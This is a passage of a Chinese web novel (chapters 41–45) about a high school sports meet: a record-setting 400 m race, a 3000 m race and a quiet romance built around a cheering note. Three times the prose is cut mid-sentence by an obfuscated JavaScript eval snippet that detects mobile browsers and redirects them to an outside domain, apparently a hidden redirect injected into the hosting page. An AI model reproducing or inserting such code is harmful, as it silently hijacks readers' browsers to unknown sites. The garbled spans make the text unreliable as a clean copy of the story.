八个跑道上已经划出了三个梯队,周博承和林子期一马当先不相上下,后面五十米左右的位置缀着一批人,第二梯队后方又有着艰难奔跑的几个人,咬着牙在坚持着。 四百米不允许变道,弯道冲刺的惯性总感觉会加大地心引力,周博承看着余光里几乎平行的林子期,狠狠心再次提了速。 “哇!”从周博承和林子期预备开始,快门就没停过的于落落感叹道,“弯道加速,周博承好虎啊。” 同样没料到周博承会在弯道加速,林子期步伐乱了一瞬,高手过招分秒必争,哪怕林子期很快反应过来,却还是被周博承超出了一个身位。 激烈的比赛吸引了越来越多人的目光,围到跑道的人越来越多,呐喊声越来越大,跑道上的两个人仿佛什么也没听见,闷着头往前冲着。 直道,弯道,再到——最后一个直道。 双腿沉重的像不是自己的,迈步的动作也不知道是大脑发出的指令还是条件反射,最简单的呼吸都变得格外困难,进入肺部的仿佛不是氧气而是沾着盐水的利刃。 去他的,我要赢。 林子期目视终点,咬着牙加大摆臂幅度。 死腿,快跑啊! 周博承脸色逐渐狰狞。 离终点越来越近,两个人的跑姿也逐渐扭曲。 两人殊死较量的意志冲出跑道,让人恍然深觉自己位于某大型赛事现场,季知节被气氛所感染,不由握拳呐喊。 炙热的声浪一波接着一波,于跑道上的人而言漫长的时间在观赛的人看来也不过是转瞬即逝。 10m、5m、1m……冲线! 裁判按下秒表。 两人被冲刺的惯性带出一段距离,冲刺带裹在两人身上颤颤巍巍飘落在地上,但谁也没去管。 周围等候的人围了上去,拿水的拿水,搀扶的搀扶。 但两人都没有在意,气都还没有喘匀就又走回终点线附近找到裁判,异口同声的问道:“谁是第一名?” 两个人到最后几乎都已经脑袋空空,冲线时两人都几乎如同行尸走肉,实在没来得及注意谁是第一名。 裁判里也有他们的老熟人——体育老师汪俊。 汪俊掐着秒表,脸上露出与有荣焉的神色,为两个孩子送上了最真挚的夸奖。 “50秒19,相当了不起。” 42. 第 42 章 男子400米达到49秒就可以被评为一级运动员,手计的时间一般有误差,权威性比不上电计,无法作为真正的判断依据,但是汪俊依旧很惊喜。 林子期和周博承像是没有听见汪俊报出的时间,看都没看对方一眼,异口同声道:“所以第一名是谁?” 汪俊:“……” 嫌弃般挥了挥手,汪俊作势要赶走两人,“周博承50秒19,林子期50秒20。” “耶!” “靠!” 短促的音节同时在两人嘴里发出,却一个天上一个地下。 周博承恨不得原地起跳再来个360度空翻,但是他不会,不过也不妨碍他朝林子期得瑟。 “不好意思啊,可能我腿比你长一点点吧。”周博承想压住翘起的嘴角,但实在控制不住,脸上的表情扭曲,看起来格外欠揍。 “……”林子期气得牙痒痒,恨不得给上一脚,但一瓶塞到他手心的水平息了他的怒火。 女孩不知什么时候钻到了这边,一双眼睛亮亮的盯着林子期,话语里是掩饰不住的兴奋:“太帅了!你跑得好快啊!” “……真的吗?”林子期眨了眨眼,顺手把水拧开递回给女孩,脸色泛红。 “对啊对啊!”女孩推回林子期的手,“给你喝的。” 林子期有些不好意思地挠了挠头,说话都有些磕绊:“谢谢你啊。” 在一旁的周博承:“……” “你知道这叫什么吗?”于落落指着相机里的这幅画面,笑得高深莫测。 “叫什么?” “叫小丑竟是我自己。”于落落愉快地指着周博承,大声嘲笑道。 季知节想笑又觉得不礼貌,嘴唇憋得有些颤抖。 “想笑就笑吧。”沈瑜的话语里也带着笑意。 就像是引爆炸药的引信一般,前来观战的三班同学几乎都笑出了声。 笑着笑着,季知节忽然一顿,从口袋里掏出了赛程本翻到了最后一页。 “你口袋里能装多少东西啊?”张镜眼看着A4大小的文件被季知节从校服口袋里抽出来,脸上笑意更盛。 季知节却收起了脸上的笑意,甚至还揉了揉眼睛。 “怎么了?”沈瑜看着面露异样的女孩,有些担心地问道。 “51秒48。”季知节喃喃道。 “嗯?”周边的笑声太大,沈瑜没有听清,稍弯了腰,却只有尖叫声在耳边炸开。 “破纪录了!!!”季知节举起赛程表最后一页的项目纪录,几乎要把纸怼到沈瑜脸上。 “?”笑声沉寂一秒,所有人目瞪口呆地看向发出声音的女孩。 季知节语速飞快:“高一男子400米纪录51秒48,周博承50秒19,破纪录了,14分啊!” 运动会采取积分制,项目前几名都能积分,第一名七分,逐次递减,第七名一分,一旦破了纪录就能拿到双倍的分数。 也就是说,周博承单人单项已经拿下14分了,还不是凭借自己的专项。 “!!你这么猛的吗?!”陆谦上一秒还在笑,下一秒就蹦到了周博承身边,用力拍打着男孩的后背。 “咳咳!”周博承被猝不及防的力度吓到,随即相当不客气地拍开陆谦的手,语气高傲,“你在对破纪录的人做什么啊?” 陆谦:“……” 明明自己也很惊讶吧,刚刚还愣住了。 周博承从让人晕晕乎乎的夸奖声中回过神,凭借着优越的海拔找到了不知何时已经走出一段距离的林子期。 “林子期!”周博承朝着男生大喊。 林子期停下脚步,回头准确地找到了发出声音的人。 “下次再比一次吧!” 成绩的影响因素有很多,对手就是其中之一,好的对手能更好地刺激选手的水平,如果真的对手不是林子期的话,周博承并不觉得自己能跑出新的纪录。 所以,谢谢啊。 “嘁。”林子期撇了撇嘴,读懂了周博承未说完的话语,凝神看了几秒,最终一句话没说,带着同行的女孩转身,高高举起的右手小拇指是挑衅,也是约定。 —— 在下午的100米决赛中,张嘉欣换上了更方便的短裤,紧随在两名体育生之后拿到了第三名,在接踵而至的200米预赛中也发挥出色,确定了决赛名额。 不同于外貌的文静,张嘉欣的短跑实力令人乍舌,陆谦更是做出了再也不会忘记交语文作业的重大保证。 “感觉跑不过课代表。”陆谦如此说道。 而在第二天的赛程里,于落落也真的拿回来一个牌子,三级跳铜牌。 虽然是险而又险的赢过了第四名,但是于落落还是相当荣幸地成为了三人里面唯一一个有奖牌的人了。 “你再得瑟我就把你的牌子扔掉!”张镜如是威胁道。 “总算是不白来啊!”季知节点评。 陆谦也在800米和200米中表现优异,捧着奖牌乐颠颠就往周博承面前得瑟。 而在季知节最想看的男子跳高中,周博承棋差一招,以一厘米之差输给了林子期,在奖牌数量上一金一银两人打平。 “但是我总得分比他高啊!我400米有14分诶。”周博承做着最后的挣扎,“我还是更牛一点。” “你开心就好。”林子期自己身上带着银牌,女朋友身上带着金牌,在周博承面前云淡风起地走过。 然后就迎来了第二天最后一个项目,远距离长跑——女子1500米和男子3000米。 为了保存体力,沈瑜选择了坐在台阶上休息。 “不紧张不紧张哈!”周博承蹲在沈瑜背后,殷勤地捏着沈瑜的肩膀。 沈瑜看着赛道上已经开跑的女子组,语气悠然:“再右边点。” “好嘞。” “紧张的明明是周博承吧。”张镜凑到正在写加油稿的季知节身边,低声吐槽。 季知节头也不抬,“你要是坑我去跑1500米,你看你紧张还是我紧张。” 张镜:“……”那还是我更紧张一点。 快速扫了一眼季知节的演讲稿,张镜挑眉,“你就这么写?” 季知节拿起稿子弹了弹纸张的边角,仿佛极为满意的样子,“怎么,写得不好嘛?” “挺好的。”张镜面不改色,目送着女孩去交稿子。 就是,某人可能要失望了。 加油稿上沈瑜和梁子笑的名字并排出现在一句句加油词中,甚至沈瑜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625170|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名字还排在梁子笑的后面。 看上去毫无毛病,但是恰恰是一点问题都没有,才是最大的问题。 于落落不知道上哪去拍照去了,空余张镜满腹八卦无人可讲。 “唉……” 3000米的难度实在不小,李化腾甚至专门叮嘱参赛的两人:“跑不完没关系,一旦身体不舒服就立马停下来离开跑道,能站上起点就很厉害了。” 沈瑜不动神色地把视线从远去的女孩身上移开,笑着点头。 梁子笑更是丝毫不慌:“我懂,我已经看好医疗点怎么去了。” 李化腾:“……”倒也不必。 运动会进行到这个时候,写加油稿的人已经不多了,项目不多了是一个方面,懒得写又是一点。 当季知节带着加油稿走到主席台上时,就看到无稿可念的两个播音员已经开始在拿着草稿纸玩五子棋了。 女生察觉到有人上来,飞速拿稿子盖住五子棋,背对着季知节的男生也迅速坐正,熟练地开始整理稿件。 季知节一脸好笑地把稿子放到桌子上。而发现上来的是学生的两人松了口气,相当大大咧咧地把五子棋又抽了出来,嘴里还念念叨叨的:“吓死我了,我还以为老师来了呢。” “运动会玩也没关系的吧。”季知节有些不解的笑道。 “好像也是哦。”男生像是恍然大悟,“平时偷偷摸摸搞习惯了。” 女生倒也看得开,“偷偷摸摸的好玩点,多刺激啊。” “难度也高点。”男生一秒苟同。 季知节:“……”彳亍口巴。 女生拿起季知节的稿子,翻来覆去看了一眼,期待着看着季知节:“还有吗还有吗?” “啊?” “再来点嘛,加油稿,不然开完就要关话筒好累的!你还有吗,我可以送你个专场的!” “就是啊!”男生无脑附和,“再来一张。” 这玩意是想来就能再来的吗?!你以为是喝饮料拧瓶盖啊! 但是真的有。 季知节手指微动,犹犹豫豫地从裤子口袋里掏出了一张叠好了的便签纸,“……有是有。” 女孩眼睛一亮。 —— 等张镜再看到季知节时,发现女孩一脸无奈。 “怎么了?”张镜随口问道。 “……没什么。“季知节叹了口气,目光沧桑。 张镜瞥了一眼女孩,轻哼一声。 广播里甜美的女声打断了张镜预备逼问的动作:“3000米,一个让人望而生畏的距离,但你们却坚定不移、毅然决定踏上这漫长的跑道……高一三班梁子笑、沈瑜加油!三班永远与你们同在。” 听到自己的名字,沈瑜和梁子笑齐齐探出脑袋,朝着不远处的季知节挥手。 沈瑜轻松地不像是要跑3000米的样子,脸上笑眯眯的表情让季知节忍不住想要偏过头,但是莫名的胜负欲让季知节佯装平静的回应了过去。 当看到于落落抱着相机的身影时,季知节就知道女子组已经结束了。 男生们簇拥着沈瑜和梁子笑往检录区而去,路过季知节时,沈瑜还不忘笑着比了个V手势。 季知节踢了踢脚边的石子,假装没看见。 43. 第 43 章 3000米,也就是要跑7圈半。 “这个距离我出门都会扫一辆共享单车的。”于落落敬畏地看着跑道。 张镜双手合十,神情虔诚:“他们永远是三班的一份子。” 季知节:“……”他们是死了吗…… 三公里死人的概率还是比较小的,但是离死可能也不远了。 梁子笑站到起点时后知后觉的有些后悔,运动会三天时间本应该用来悄悄复习然后惊艳所有人的,毕竟马上就要期中考了。 怎么就一时冲动把自己往坑里面扔了呢? “后悔了?”沈瑜活动着脚踝,察觉梁子笑神色不对,“当时你报的不是挺积极的嘛?” 沈瑜觉得不承认自己在阴阳怪气,梁子笑也完全没发觉,只是说道:“我当时以为你不愿意来着。” 你居然真的只是单纯想帮忙吗?我还以为你在挑衅我…… 沈瑜感受着隐隐作痛的良心,叹了口气,“你前三圈能跟着我就尽量跟着我,我前面不会跑得很快,到后面实在不行你就直接下去吧,身体重要。” 梁子笑白着一张脸却果断摇头,“我报的,我能跑完,你也别迁就我,我可以的。” “我不会迁就你的。”沈瑜拍了拍梁子笑的肩膀,漫不经心道,“我说的是前三圈,后面我就不会管你了,哪怕我们是一个班的,也是对手。” “那就好。”梁子笑点了点头,“你可以的。” 沈瑜只觉得梁子笑的脑回路实在奇怪,好心说的像挑衅,就连“你可以”几个字都满是嘲讽的感觉。 “你是不是T啊?” “什么T?”梁子笑有些没听懂,扯了扯身上的短袖,“你说我的衣服吗?” 沈瑜:“…没什么。”看来也不打游戏。 “下次周博承开团让他带上你吧,这么会拉仇恨。”沈瑜嘀嘀咕咕。 3000米并不像其他项目一样分了许多小组,而是直接把高一年级组所有报名的同学拉到了起点线上,连跑道都没有细分,呼啦啦站了一堆人。 起跑前裁判依旧强调着安全问题,叮嘱着抢道时千万要注意脚下。 纵使有所准备,但当沈瑜真的站到跑道上时,还是有点心跳加速。 三班的位置就在直道边的,沈瑜一抬眼就很清楚得看见了站在那蹦来蹦去的周博承。 像个二愣子。沈瑜默默想着。刚想移开视线就看见了站在旁边的女孩。 季知节今天依旧穿的是秋季校服外套,大概是没有了写加油稿的压力,女孩相当懒散地把手插在口袋里,有一搭没一搭地和旁边人聊着天,时不时还笑了出来。 是有多喜欢校服外套啊,沈瑜略有些好笑,但随即有些惆怅。 想起刚刚在广播里听到的加油稿,沈瑜情绪涌上心头,瞥了一眼站在旁边的梁子笑,忽然起了开跑就把人甩开的心思。 梁子笑丝毫没有察觉旁边人的恶劣,察觉到沈瑜的目光,有些疑惑地回望了过去,眼睛里是一望无际的清澈。 沈瑜:“……”为什么我的身边都是些二愣子。 “好,所有人,预备——” 裁判的声音唤回沈瑜的注意,男孩摇了摇头,深吸一口气,目视前方。 “砰——” 沈瑜并不打算刚开跑就抢内道,在听到响声后,并没有刻意加速,而是稳稳当当地迈出了第一步,随波逐流般跟在了旁边人的身后。 才开跑一秒的功夫,人多加上可以用抢道带来的负面影响已经显露出来了。 抢内道的人乱成一锅粥,甚至还发生了一些碰撞,胳膊肘撞到别人已经是小事了,沈瑜眼疾手快扶了一把旁边差点被挤摔跤的人,在旁观者胆战心惊的注视着,勉强避免了一场事故。 “小心点!”裁判在旁边跟跑了一小会,吹着哨子维持秩序。 所幸只混乱了一小会,在跑出大概三十米的位置,就已经完全恢复了正常。 沈瑜不慌不忙混在了大部队当中,注意着不脱离队伍,却也没想着跑到第一梯队。 “可以的可以的,稳住。”周博承看着在自己眼前路过的沈瑜和梁子笑,大声喊道。 “这才第一圈诶,你别太激动了。”于落落看着恨不得自己上去跑的人,不走心地安慰道。 张镜:“小心一会儿没力气了。” 于是当沈瑜和梁子笑第二次路过班级时,就得到了他们吊儿郎当地挥手和漫不经心的加油。 沈瑜:“……” 梁子笑:“……” 如果不是不合适,沈瑜真的很想给人比个中指。 等到第三圈的时候,队伍的距离逐渐拉大了,一开始还能跟在沈瑜后面的梁子笑也逐渐被拉开了一些距离。 看着眼前越来越远的背影,梁子笑咬咬牙,又跟了上去。 第四圈、第五圈…… 呼吸变得越来越困难,双手也不知道是不是在摆动着,脚下的步伐已经不知道有没有刚开始的一半大了。 人呢?梁子笑看着眼前不知何时已经消失的背影,什么时候不见的啊? 旁边的人呢?怎么也没了? 就我一个人了吗? 哇,我真是疯了才会报这个吧,我是不是要死了啊? 眼前的视线已经有些模糊了,梁子笑张大嘴想要获得更多的氧气,却还是无法缓解肺部的痛苦。 “你往前跑,你眼镜我捡到了!!” 啊,刚刚有人在和我说话吗?是天使带我走了吗? 梁子笑机械地迈着步子往跑,耳边传来的声音忽大忽小。 所以黑白无常不存在是吗,为什么不能是阴曹地府啊,我好想去地狱看看啊…… “他听到了吗?”周博承在草地上小跑了一段距离,拿着捡到的眼睛,担心地看着神情呆滞的梁子笑,“不行就让他下来吧,下来的人挺多的了。” “看样子已经灵魂出窍了。”张镜也跟着周博承在草地上巡回应援,看了看有些空旷的周边,于落落不出意外又去拍照了。 但是,“话说,季知节呢?” 跑道上逐渐人影稀疏,差距越来越大是一回事,部分人在第四圈的时候就开始默默往草坪上跑了,即相当于弃权。 梁子笑在第四圈后半就已经跟不上沈瑜了,此刻更是几乎被沈瑜甩了半圈。 沈瑜倒是依旧跟在仅存的集团后面跑着,几个人牢牢占据着前排的位置。 沈瑜很难说自己此刻的情况好不好,神志似乎还是清醒的,但是喉间的铁锈味和几乎要开裂的嘴唇都预示着身体好像已经几近极限了。 他几乎是用尽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642609|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全力才跟在了这群人后面。 一共五个人,沈瑜舔了舔嘴唇,脑子飞速运转,还有大半圈。 跟上去,然后冲刺的时候拼一把。 三分最低,四分就算赚,五分就有牌子了。 沈瑜计算着名次,暗暗给自己鼓劲。 然后,沈瑜踏上了最后一个弯道。 周博承在草地上小跑着,嘴里似乎还在念叨着什么,表情看上去格外狰狞。 沈瑜只觉得脑袋嗡嗡,不合时宜地有些想笑。 拜托说大声点啊,谁听得见啊。 “沈瑜,加油!”广播里有些颤抖的声音传遍整个操场,直达耳膜。 这是无法不听见的声音。 女孩的音色透过电流略微有些失真,却清楚的、明确的传到了沈瑜的耳朵里。 沈瑜知道,耳朵边回响的心跳声是因为长时间的跑步,但沈瑜也知道,此刻拥有涌上心头的力气,是因为心动。 知道啦,我跑就是啦,你怎么去主席台啦?我还想在终点看到你呢。 沈瑜释然一笑,迈步向前,开始了最后一百米。 —— 季知节握住麦克风的手指有些发麻,在旁边两人有些惊讶的目光中放下麦克风,礼貌地道谢之后往往终点跑去。 女孩在季知节坐过的位置捡起一张被捏得皱巴巴的便利贴,细心摊开铺平,眯着眼睛笑了。 “完全没有按照稿子念啊。” 在季知节来送稿子时,主持的两人就知道了眼前的女孩还有一张加油稿。 “那我给你一起念了?” 女孩起身想要拿过稿子,季知节伸出稿件的手却缩了回来。 “……那个,你们能在最后一圈的时候再念吗?” “啊?”男生女生对视一眼,“可以是可以啦,但是我们那个时候不一定在关注赛场来着,你可能得来提醒我们一下。” “而且那个时候选手基本上也听不见了吧,最后一圈能活着就不错了。” 季知节却相当满意,“要的就是这个效果。” “啊?”女生更加奇怪了,忽然眼珠一转,“不然你自己来念吧。” “?” “反正这会儿都没老师,你过来的时候顺便念了好了,还能把握一下进度,什么时候念都行,我给你开麦克风。” …… 季知节看着眼前的台阶眼睛都没有眨一下,三两步跳了下去,目光在跑道上寻找着。 男孩不知从哪来的意志和力气,又开始加速,前面的人越来越少,离终点也越来越近。 赶不上了。 季知节深吸了口气,向着终点跑去。 冲刺的地方几乎被人围满了,季知节看不见里面的情况。 当爆发出欢呼声时,季知节知道,第一名出现了。 但是,是谁? 女孩有些焦急地从旁边绕到后方,踮着脚企图看到里面的情况。 黑压压的一片脑袋之外还是脑袋,却没有看到想见的那个脑袋。 算了。 女孩轻叹一口气,低着脑袋用脚轻轻蹭了一下跑道,不知道在想着什么。 “我的水呢?” 头顶传来的声音带着喑哑的笑意,一双白色的运动鞋出现在了季知节的视野里。 44. 第 44 章 少年并没有离得很近,白色的运动鞋和红色的帆布鞋大概间隔半米,但运动后从体内散发出的热度炙烤着空气,偌大的操场像是被划分出了一块独立于世间的小天地。 季知节像是故障了的机器人一般,一点一点地抬起头,运动鞋、小腿、膝盖、还在剧烈起伏着的胸膛、喉结、嘴唇、随后撞进了一双藏不住笑意的眼睛。 “…….没有。”季知节移开目光,眼睛望向远处,小声说道。 “啊——”沈瑜像是有些失望般叹了口气,但是单号季知节偷偷看向男孩时,却发现男孩脸上没有半分失望的神色。 发觉女孩就如想象中那般看了过来,沈瑜笑出了声,看着女孩有炸毛的迹象,沈瑜识趣地把那句“你有点可爱”咽回肚子,主动岔开了话题。 “我又是第一名诶,厉不厉害?” 沈瑜的眸子像是嵌入了整个宇宙,星光点点温柔得不可思议。 “……厉害。”季知节背着手含糊肯定。 “多亏了你的加油。” “……哦。” 季知节也没想到从主席台俯瞰赛场,看到那个全力以赴奔跑着的人时,满脑子都只有沈瑜说过的,运动员在赛场上只能听见自己的名字。 不自觉把早就准备好的稿子捏成了一团,明明是为了不让沈瑜听清才会特意选择在运动员最累的时机开口,但拿到麦克风时,脱口而出的只有那句沈瑜加油。 话音刚落,季知节就后悔了,机开口但是开弓没有回头箭,季知节只能祈祷沈瑜最好累到一个字也听不见清楚,但祈祷很明显落空了,甚至一会儿可能还要接受来自于落落和张镜的八卦调侃,光是想想季知节就觉得前途一片灰暗。 能不能下一次睁眼就能直接回到25岁啊,季知节忽然觉得心累。 …… “你确定不去陪一下沈瑜吗?”张镜还在终点等着梁子笑,周博承也一脸镇定地呆在原地。 周博承邪魅一笑,“他现在想见的肯定不是我啊。” “……”虽然明白周博承是什么意思,但是张镜还是无法按耐住自己吐槽的欲望,“你的脸是抽筋了吗?” 周博承一脸不可置信,“不帅吗,我练习了很久的!” 简直槽多无口,张镜一脸漠然地移开脸,开始专心为梁子笑应援。 梁子笑在跑到最后一个直道,察觉前面已经没有背影了的时候,就知道沈瑜已经到了终点了。 比赛结束了吧,不知道他是第几名。 周围好像只剩下了自己的脚步声,身后也没有了赶上来的人。 但我大概是最后一名了。 梁子笑大口喘着气,几乎克制不住自己停下来走的欲望。 但他没有。 即使已经跑不动了,即使跑步的姿态十分狼狈,即使速度并没有比走快多少,梁子笑依旧在一小步一小步地往前跑着。 “梁子笑,加油啊!”于落落背着相机出现在了草地上,朝着男孩大声喊道。 在喊我吗? 梁子笑有些机械地偏移了一下脑袋,过高的近视度数让梁子笑无法分辨出在草地上小跑着地是谁,过于疲累的身体也让梁子笑失去了对脖子的控制能力,几乎只是转了一点点,就不可控地又回正了过去。 “梁子笑,还有一点点!” 好像又有声音传来,在哪儿? 好像在前面。 犹如黑暗中寻找着光源的飞蛾一般,梁子笑跌跌撞撞地向前跑着。 眼前模糊的色块越来越近,人越来越多,夹杂着自己名字的声音也越来越嘈杂,梁子笑本就无法思考的大脑更加茫然。 第一名出现,比赛不是已经结束了吗,为什么还有这么多人啊? “咀——” 然后,世界忽然清晰。 周博承接住跌进自己怀里的男生,顺手把眼镜戴了上去。 “牛啊!你跑完了诶!”周博承搀扶着一脸懵的男生,笑得格外灿烂。 居然已经跑完了吗? “帅的帅的!”陆谦接过张镜手里的水,拧开瓶盖就要喂给梁子笑。 “呀呀!剧烈运动完不能喝水,你先让他走一走!” “啊对对对,周博承你先扶着他走一会。” “用得着你说啊!” 就这样在你一言我一语中,梁子笑找回了丢失的声音。 “…我,我没拿名次啊…”梁子笑结结巴巴。 周博承搀扶着男生缓慢走动,语气满不在乎,“管他呢,你跑完就行啦。” “就是啊,能跑完就很牛了,那可是三公里啊!” 人群丝毫没有变少的意思,反而随着梁子笑的移动形成了一个巨大的圈,把人围在了中间。周博承看着密不透风人群,不得已出声阻止,“哥哥姐姐们行行好,让条路出来吧!” “呀!你会不会走啊!不行我来!” “就是,闪开,我来扶!”有人作势要顶开周博承。 梁子笑看着有些混乱的情况,跑步带来的疲惫逐渐消失,喉咙间的干痒被酸涩取代,周围人簇拥起来的暖意让人仿佛置身于羊水中,从内到外透露着安心二字。 “做得好。”不知什么时候混入其中的沈瑜搭上了梁子笑的肩膀,发自内心感叹道。 “还可以吧。”梁子笑眨了眨眼,不甚熟练地笑了一下。 沈瑜无奈,还是很像挑衅啊…… “你们!看镜头!” 人群之外传来一道呼喊。 几乎是下意识地,目光追着声音而去,所有人看向了举着相机的于落落,有人茫然,有人机智地摆了pose,也有人看见镜头就条件反射地比了个剪刀手。 “哇!你能不能提前说啊!我好像眨眼了!” “我也是!我脸是不是崩了啊!” 于落落背着相机拔腿就跑,笑声飘扬在空中,“问题不大,我给你们P一下啊。” “站住!” 梁子笑低着头,一滴水砸在了镜片上。 —— “哟,回来了啊?” 沈瑜背着轻飘飘的书包打开门,就看见沈琼坐在沙发上一脸得意地朝门口挥手。 沈瑜挑眉,换完鞋顺手摆好,看着无所事事的人问道,“你今天下班这么早?” “今天有点累了,提早关门了。”沈琼伸了个懒腰,趴在沙发背上看着喜悦溢满全身的男孩,一脸八卦,“怎么样?” 沈瑜从口袋里掏出金牌,一脸得意地晃了晃,“你懂什么叫冠军。” 沈琼一巴掌挥开金牌,松了口气,“那我是不是可以继续往跑步机上放衣服了。” 沈瑜一言难尽地把奖牌收回,“……你开心就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655699|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈琼当即乐颠颠地把今天换下来的衣服搭在了角落的跑步机上。 跑步机时沈琼买的,在正式开始做烘焙的时候,沈琼带着家里人结结实实地吃了不少各种成功的、不成功的产品,导致那段时间家里人体重飙升。 出于形象管理的目的,沈琼在全家全票通过的前提下,购入了一台跑步机,然而跑步机纸工作了三回,就彻底变成了晾衣架以及置物架,其中沈琼的东西最多。 沈瑜在确定要跑3000米之后,就把跑步机收拾了出来,虽然不是天天跑,但是也确实是真正使用上了跑步机。 失去了置物架的沈琼很是念叨了一段时间,但在王清云的镇压下,沈琼丝毫无法反抗,只能天天祈祷运动会赶紧结束。 眼见沈琼已经开始规划跑步机的分区了,沈瑜一个闪身回了房间。 沈家父母很少进孩子的房间,倒也没有不是不侵犯隐私这种看上去高尚的理由,纯粹是有些懒,从小打着锻炼自理能力的名义让沈瑜沈琼自己整理房间,所以姐弟俩很少担心自己的东西被翻阅。 不过即使是这样,沈瑜还是从抽屉里拿出一个带着锁的盒子,里面的东西不多,一些写着零碎歌词的草稿纸、一副用坏了的耳机、还有一枚有着牙印的金牌…… 沈瑜看着安安静静躺在盒子里的金牌,嘴角不可控制地扬起。 似乎是想到了什么,沈瑜从口袋里拿出相机,拆开手机壳,拿出了一张被叠得方方正正,却有着明显折痕的便利贴。 纸张有着明显涂改过的痕迹,白色的涂改带覆盖了一层又一层,几乎要垒起一座小城堡,似乎也知道这上面无法写字,最后黑笔落在了下面一行。 “从你做出选择那一刻,这条路便是属于你的,前路漫漫,这跑道似乎没有终点,但痛苦和疲惫会成为养料,浇灌出无与伦比的花,加油吧!你一定可以的!” 这是一封没有对象的加油稿,可熟悉的笔迹和因用力过猛在背面凸出来的文字,都让沈瑜清楚。 这是他的,是她写给他的,只有他的,加油稿。 不是和其他人的名字并列的,更不是排在别人名字后面的。 而是独属于他的。 像是在写长跑,又仿佛不止写的是长跑,沈瑜趴在桌子上看着这张小小的便利帖,似乎又看见了那个别扭又可爱的女孩,不由莞尔一笑,眼神像是一望无际的星空,温柔又深邃。 便利贴是沈瑜去颁奖时,去主席台找到的。 沈瑜在知道在赛程结束后,主持人会统一整理加油稿,一开始去的时候也只是想把3000米的加油稿带回来。 大不了把梁子笑的名字划掉嘛。 沈瑜就这样说服了自己。 而当沈瑜到达主席台广播位置的时候,正好碰上了两个播音员在收拾桌面。 瓦楞箱里装满了大大小小五颜六色的纸条,沈瑜一眼就被最上面的便利贴吸引住了目光。 不同于季知节衣服的花哨,她的文具总是十分简洁,文具店最普通的中性笔买几支,之后全靠换笔芯,便利贴也是最简单的白色。 “总归是会丢的,太漂亮的我舍不得。” 当于落落企图把自己的笔给季知节时,沈瑜听到季知节一脸无奈地这般回答。 再加上熟悉的笔迹,沈瑜在播音员一脸揶揄中捡走了这张便利贴,然后藏了起来。 45. 第 45 章 于落落:【干嘛呢家人们】 这是一条出现在五分钟之前的消息,群组聊天空空荡荡没人回复,季知节摸着良心拿起手机对着桌面随手拍了一张照片。 于落落估计是寸步不离地守在了手机前,季知节下一秒就得到了回复。 于落落:【……】 于落落:【微笑.jpg】 于落落:【化学试卷比我迷人是吗你个丧尽天良的家伙!做人不能这么变态!没作业还给自己找事情做!】 季知节看着狂轰滥炸的于落落,相当顺手地@了一下张镜。 季知节:【这个应该更变态一点,我猜她写两张卷子了。】 张镜:【准确来说两张半。】 张镜:【图片.jpg】 照片上的卷子笔迹红黑相间,但红笔的笔迹明显要要少很多,季知节双手放大照片,惊讶地挑眉。 季知节:【你学到后面了嘛?】 张镜:【对,顺便学了一下。】 这玩意是能顺便学的? 季知节肃然起敬,发了个小猫敬礼的表情包, 于落落:【……】 所以有没有人来管管我的死活。 从相机里导出的照片堆积如山,即使排除掉不能用的、拍糊了的废片,也依旧还有许多许多,况且在于落落看来,有些模糊的照片也十分有趣,挑来挑去挑花了眼,几乎每一张都想留。 于落落不管三七二十一发起了视频通话,三张脸以奇奇怪怪的姿势挤在了一张小小的屏幕上。 季知节中规中矩地把手机靠在了书上,仰拍的角度虽然不太雅观,但好歹露出了一张脸,张镜大概是把手机平放在了桌面上,只露出了一节握着笔的手和一点点镜框,至于视频发起者于落落,放眼看过去只有眼镜片和一双扑闪着的眼睛,不知道离镜头有多近才能拍出这个效果。 季知节有些好笑地看着于落落略微透露出死感的眼睛,“干嘛呢?” 于落落神情哀怨,“挑照片呢,都快选疯了。” “要挑那么仔细吗,干脆打包发出去好了。” 只闻其声不见其人,张镜一边写着英语选择一边说道。 “我本来还想p图呢!” 鼠标咔擦咔擦的声音响起,于落落贴着手机哀嚎。 “那也太复杂了吧。”季知节被庞大的工程量惊呆,却也没有指责于落落的行为,“要我帮忙吗?” “不用不用。”于落落有气无力道,“所以我放弃了,我就打算p几个集体照和我喜欢的照片,其他的就发给他们自己弄了。” “这不挺好的吗?” “好是好啊。”于落落趴在了床上,闷声道,“我感觉有点无聊了。” “无聊就刷题,过段时间就要期中考了。” 张镜的话相当冷血无情,却也直击于落落命脉。 看着明显更加生无可恋的于落落,季知节忍住笑意安慰道,“明天还能见面的,熬一熬吧。” “明天啊。”于落落在床上翻了个身,不自觉重复了一下,忽然翻身坐起,“我们出来玩吧!” “?” “!” 